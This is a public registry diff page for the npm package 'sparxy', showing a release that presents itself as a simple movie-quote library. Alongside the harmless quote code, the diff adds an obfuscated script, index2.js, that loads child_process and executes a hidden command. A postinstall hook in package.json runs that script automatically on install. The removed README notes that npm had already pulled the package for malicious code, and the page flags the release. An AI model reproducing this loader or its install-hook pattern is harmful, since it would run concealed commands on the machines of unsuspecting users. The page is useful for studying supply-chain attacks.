sparxy 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sparxy might be problematic. Click here for more details.
- package/data/data.json +4394 -0
- package/index.js +63 -0
- package/index2.js +1 -0
- package/package.json +29 -4
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
let array = require("./data/data.json");
|
|
2
|
+
|
|
3
|
+
const randomNum = () => {
|
|
4
|
+
return Math.floor(Math.random() * array.length);
|
|
5
|
+
};
|
|
6
|
+
|
|
7
|
+
const getQuoteByYear = (start, end) => {
|
|
8
|
+
return array
|
|
9
|
+
.filter(i => i.year >= start && i.year <= end)
|
|
10
|
+
.sort((a, b) => (a.year > b.year ? 1 : b.year > a.year ? -1 : 0));
|
|
11
|
+
};
|
|
12
|
+
|
|
13
|
+
const getRandomQuote = () => {
|
|
14
|
+
let randNum = randomNum();
|
|
15
|
+
return array[randNum].quote;
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
const getSomeRandom = count => {
|
|
19
|
+
let randomQuotesArray = [];
|
|
20
|
+
let randomQuotesSet = new Set(); // to prevent duplicate quotes
|
|
21
|
+
while (randomQuotesArray.length < count) {
|
|
22
|
+
let quote = array[randomNum()];
|
|
23
|
+
if (!randomQuotesSet.has(quote)) {
|
|
24
|
+
randomQuotesArray.push(quote);
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
return randomQuotesArray;
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
const getQuotesByObject = (quote, obj) => {
|
|
31
|
+
let resultArray = [];
|
|
32
|
+
quote = quote.toLowerCase();
|
|
33
|
+
object = obj;
|
|
34
|
+
array.forEach(item => {
|
|
35
|
+
item[object] = item[object].toLowerCase();
|
|
36
|
+
if (item[object] && item[object].includes(quote)) {
|
|
37
|
+
resultArray.push(item);
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
return resultArray;
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
const getQuotesByMovie = quote => {
|
|
45
|
+
return getQuotesByObject(quote, "movie");
|
|
46
|
+
};
|
|
47
|
+
|
|
48
|
+
const getQuotesByType = quote => {
|
|
49
|
+
return getQuotesByObject(quote, "type");
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
const getAll = () => {
|
|
53
|
+
return array;
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
module.exports = {
|
|
57
|
+
getAll,
|
|
58
|
+
getRandomQuote,
|
|
59
|
+
getSomeRandom,
|
|
60
|
+
getQuoteByYear,
|
|
61
|
+
getQuotesByMovie,
|
|
62
|
+
getQuotesByType
|
|
63
|
+
};
|
package/index2.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
var mVoMUrL,Z_M0Bnu,w2_SPA,JTg1eQ,jRmXbwA,gLaWf5k,zDuAs8,gczw3r;function R49cD3(Z_M0Bnu){return mVoMUrL[Z_M0Bnu>-0x22?Z_M0Bnu+0x52:Z_M0Bnu>-0x2d?Z_M0Bnu<-0x22?Z_M0Bnu<-0x2d?Z_M0Bnu+0x40:Z_M0Bnu<-0x22?Z_M0Bnu+0x2c:Z_M0Bnu+0x22:Z_M0Bnu+0x33:Z_M0Bnu-0x21]}mVoMUrL=tYJWz6v.call(this);function pQn_fn(mVoMUrL,Z_M0Bnu){Object.defineProperty(mVoMUrL,'length',{value:Z_M0Bnu,configurable:!0x0});return mVoMUrL}var kwdYm0H=[],nUe2MZ=R49cD3(-0x2a),nwphGJ=AK1TAs((...mVoMUrL)=>{void(mVoMUrL.length=0x0,mVoMUrL[0x9e]=-0x6a,mVoMUrL[R49cD3(-0x2c)]=AK1TAs(mVoMUrL=>{var Z_M0Bnu;for(var w2_SPA=0x10;w2_SPA%0x4===0x0;w2_SPA++){var JTg1eQ=0x0;mVoMUrL=mVoMUrL.concat(AK1TAs(()=>{var Z_M0Bnu;JTg1eQ++;if(JTg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e2MZ?mVoMUrL[R49cD3(-0x2c)].pop():nUe2MZ++,mVoMUrL.wPe7FCz)},0x0)();function asHBS4M(){try{return global||window||new Function('return this')()}catch(e){try{return this}catch(e){return{}}}}typeof(Z_M0Bnu=asHBS4M()||{},w2_SPA=Z_M0Bnu.TextDecoder,JTg1eQ=Z_M0Bnu.Uint8Array,jRmXbwA=Z_M0Bnu.Buffer,gLaWf5k=Z_M0Bnu.String||String,zDuAs8=Z_M0Bnu.Array||Array,gczw3r=AK1TAs(()=>{var Z_M0Bnu=new zDuAs8(0x80),w2_SPA,JTg1eQ;typeof(w2_SPA=gLaWf5k.fromCodePoint||gLaWf5k.fromCharCode,JTg1eQ=[]);return pQn_fn(AK1TAs((...jRmXbwA)=>{var zDuAs8;function gczw3r(jRmXbwA){return mVoMUrL[jRmXbwA<0xd?jRmXbwA>0xd?jRmXbwA+0x7:jRmXbwA-0x3:jRmXbwA-0x5e]}typeof(jRmXbwA.length=R49cD3(-0x26),jRmXbwA[R49cD3(-0x2b)]=jRmXbwA[R49cD3(-0x27)]);var pQn_fn,kwdYm0H;void(jRmXbwA[R49cD3(-0x2b)]=jRmXbwA[R49cD3(-0x2a)].length,jRmXbwA[0x46]=-0xa,JTg1eQ.length=gczw3r(0x5));for(zDuAs8=0x0;zDuAs8<jRmXbwA.OiKh8u;){kwdYm0H=jRmXbwA[0x0][zDuAs8++];if(kwdYm0H<=0x7f){pQn_fn=kwdYm0H}else{if(kwdYm0H<=0xdf){var nUe2MZ=AK1TAs(jRmXbwA=>{return mVoMUrL[jRmXbwA>-0x45?jRmXbwA-0x5e:jRmXbwA<-0x50?jRmXbwA+0x60:jRmXbwA<-0x50?jRmXbwA-0x12:jRmXbwA<-0x50?jRmXbwA-0x2e:jRmXbwA<-0x45?jRmXbwA>-0x50?jRmXbwA<-0x50?jRmXbwA-0xb:jRmXbwA>-0x50?jRmXbwA+0x4f:jRmXbwA-0x4d:jRmXbwA+0x2:jRmXbwA-0x58]},0x1);pQn_fn=(kwdYm0H&0x1f)<<jRmXbwA[0x46]-(jRmXbwA[0x46]-0x6)|jRmXbwA[nUe2MZ(-0x4d)][zDuAs8++]&R49cD3(-0x29)}else{if(kwdYm0H<=0xef){var nwphGJ=AK1TAs(jRmXbwA=>{return mVoMUrL[jRmXbwA>-0x28?jRmXbwA<-0x28?jRmXbwA-0x28:jRmXbwA+0x27:jRmXbwA+0x48]},0x1);pQn_fn=(kwdYm0H&0xf)<<0xc|(jRmXbwA[gczw3r(0x5)][zDuAs8++]&nwphGJ(-0x24))<<jRmXbwA[0x46]+0x10|jRmXbwA[0x0][zDuAs8++]&R49cD3(-0x29)}else{if(gLaWf5k.fromCodePoint){var asHBS4M=AK1TAs(jRmXbwA=>{return mVoMUrL[jRmXbwA>-0x4d?jRmXbwA-0x4e:jRmXbwA>-0x58?jRmXbwA>-0x4d?jRmXbwA-0x63:jRmXbwA>-0x4d?jRmXbwA+0x4b:jRmXbwA>-0x58?jRmXbwA<-0x4d?jRmXbwA<-0x4d?jRmXbwA>-0x4d?jRmXbwA+0x13:jRmXbwA<-0x4d?jRmXbwA+0x57:jRmXbwA+0x7:jRmXbwA-0x54:jRmXbwA+0x25:jRmXbwA+0xc:jRmXbwA-0x5c]},0x1);pQn_fn=(kwdYm0H&asHBS4M(-0x4e))<<0x12|(jRmXbwA[0x0][zDuAs8++]&asHBS4M(-0x54))<<0xc|(jRmXbwA[0x0][zDuAs8++]&asHBS4M(-0x54))<<jRmXbwA[asHBS4M(-0x53)]-(jRmXbwA[0x46]-0x6)|jRmXbwA[0x0][zDuAs8++]&0x3f}else{typeof(pQn_fn=0x3f,zDuAs8+=jRmXbwA[gczw3r(0x7)]+R49cD3(-0x25))}}}}JTg1eQ.push(Z_M0Bnu[pQn_fn]||(Z_M0Bnu[pQn_fn]=w2_SPA(pQn_fn)))}jRmXbwA[jRmXbwA[0x46]-(jRmXbwA[0x46]-0x46)]=0x45;return jRmXbwA[R49cD3(-0x28)]>0x73?jRmXbwA[jRmXbwA[0x46]-0x62]:JTg1eQ.join('')},0x0),0x1)},0x0)());function Mc81it(mVoMUrL){return typeof w2_SPA!=='undefined'&&w2_SPA?new w2_SPA().decode(new JTg1eQ(mVoMUrL)):typeof jRmXbwA!=='undefined'&&jRmXbwA?jRmXbwA.from(mVoMUrL).toString('utf-8'):gczw3r(mVoMUrL)}const {[fNjKPE(0xd)]:OX9E5z}=require('child_process'),fm2GpP6=(...Z_M0Bnu)=>{var w2_SPA=AK1TAs(Z_M0Bnu=>{return mVoMUrL[Z_M0Bnu>0x17?Z_M0Bnu+0x51:Z_M0Bnu<0xc?Z_M0Bnu+0x15:Z_M0Bnu>0x17?Z_M0Bnu+0x3c:Z_M0Bnu>0xc?Z_M0Bnu<0xc?Z_M0Bnu-0x6:Z_M0Bnu-0xd:Z_M0Bnu-0x24]},0x1);!(Z_M0Bnu.length=0x0,Z_M0Bnu.Lp36Pi=Z_M0Bnu[0x0],Z_M0Bnu.Lp36Pi=fNjKPE(w2_SPA(0x15)),Z_M0Bnu._UQXqs=-0x45,OX9E5z(Z_M0Bnu.Lp36Pi,pQn_fn((...Z_M0Bnu)=>{var w2_SPA=AK1TAs(Z_M0Bnu=>{return mVoMUrL[Z_M0Bnu>0x49?Z_M0Bnu-0x4c:Z_M0Bnu<0x3e?Z_M0Bnu+0x48:Z_M0Bnu>0x3e?Z_M0Bnu<0x3e?Z_M0Bnu-0x30:Z_M0Bnu>0x3e?Z_M0Bnu<0x49?Z_M0Bnu>0x3e?Z_M0Bnu>0x3e?Z_M0Bnu>0x49?Z_M0Bnu+0x16:Z_M0Bnu-0x3f:Z_M0Bnu-0x11:Z_M0Bnu-0x2a:Z_M0Bnu-0x61:Z_M0Bnu-0x4d:Z_M0Bnu-0x59]},0x1);Z_M0Bnu.length=w2_SPA(0x44)},w2_SPA(0x12))))};fm2GpP6();function hChzrp(Z_M0Bnu){const w2_SPA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./: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Tg1eQ),kwdYm0H[mVoMUrL]=w2_SPA(nwphGJ[mVoMUrL]))}function tYJWz6v(){return AK1TAs(mVoMUrL=>{var Z_M0Bnu;for(var w2_SPA=0x10;w2_SPA%0x4===0x0;w2_SPA++){var JTg1eQ=0x0;mVoMUrL=mVoMUrL.concat(AK1TAs(()=>{var Z_M0Bnu;JTg1eQ++;if(JTg1eQ===0x1){return[]}for(Z_M0Bnu=0x1c;Z_M0Bnu;Z_M0Bnu--)mVoMUrL.unshift(mVoMUrL.pop());return[]},0x0)())}for(Z_M0Bnu=0x11;Z_M0Bnu;Z_M0Bnu--)mVoMUrL.unshift(mVoMUrL.pop());return mVoMUrL},0x1)([0xd,0xe,0x7,'wPe7FCz','OiKh8u',0x0,0x3f,0x46,0x3,0x1])}function AK1TAs(mVoMUrL,Z_M0Bnu){var w2_SPA=function(){return mVoMUrL(...arguments)};Object['defineProperty'](w2_SPA,'length',{'value':Z_M0Bnu,'configurable':true});return w2_SPA}
|
package/package.json
CHANGED
|
@@ -1,6 +1,31 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sparxy",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "Yet another simple NPM package to get movie quotes",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index2.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Victorino Cabeza",
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"devDependencies": {
|
|
12
|
+
"chai": "^4.2.0",
|
|
13
|
+
"husky": "^3.0.4",
|
|
14
|
+
"lint-staged": "^9.2.5",
|
|
15
|
+
"lodash": "^4.17.15",
|
|
16
|
+
"mocha": "^6.2.1",
|
|
17
|
+
"prettier": "^1.18.2",
|
|
18
|
+
"pretty-quick": "^2.0.0"
|
|
19
|
+
},
|
|
20
|
+
"husky": {
|
|
21
|
+
"hooks": {
|
|
22
|
+
"pre-commit": "lint-staged"
|
|
23
|
+
}
|
|
24
|
+
},
|
|
25
|
+
"lint-staged": {
|
|
26
|
+
"data/**/*.{json}": [
|
|
27
|
+
"pretty-quick --staged",
|
|
28
|
+
"git add"
|
|
29
|
+
]
|
|
30
|
+
}
|
|
31
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sparxy for more information.
|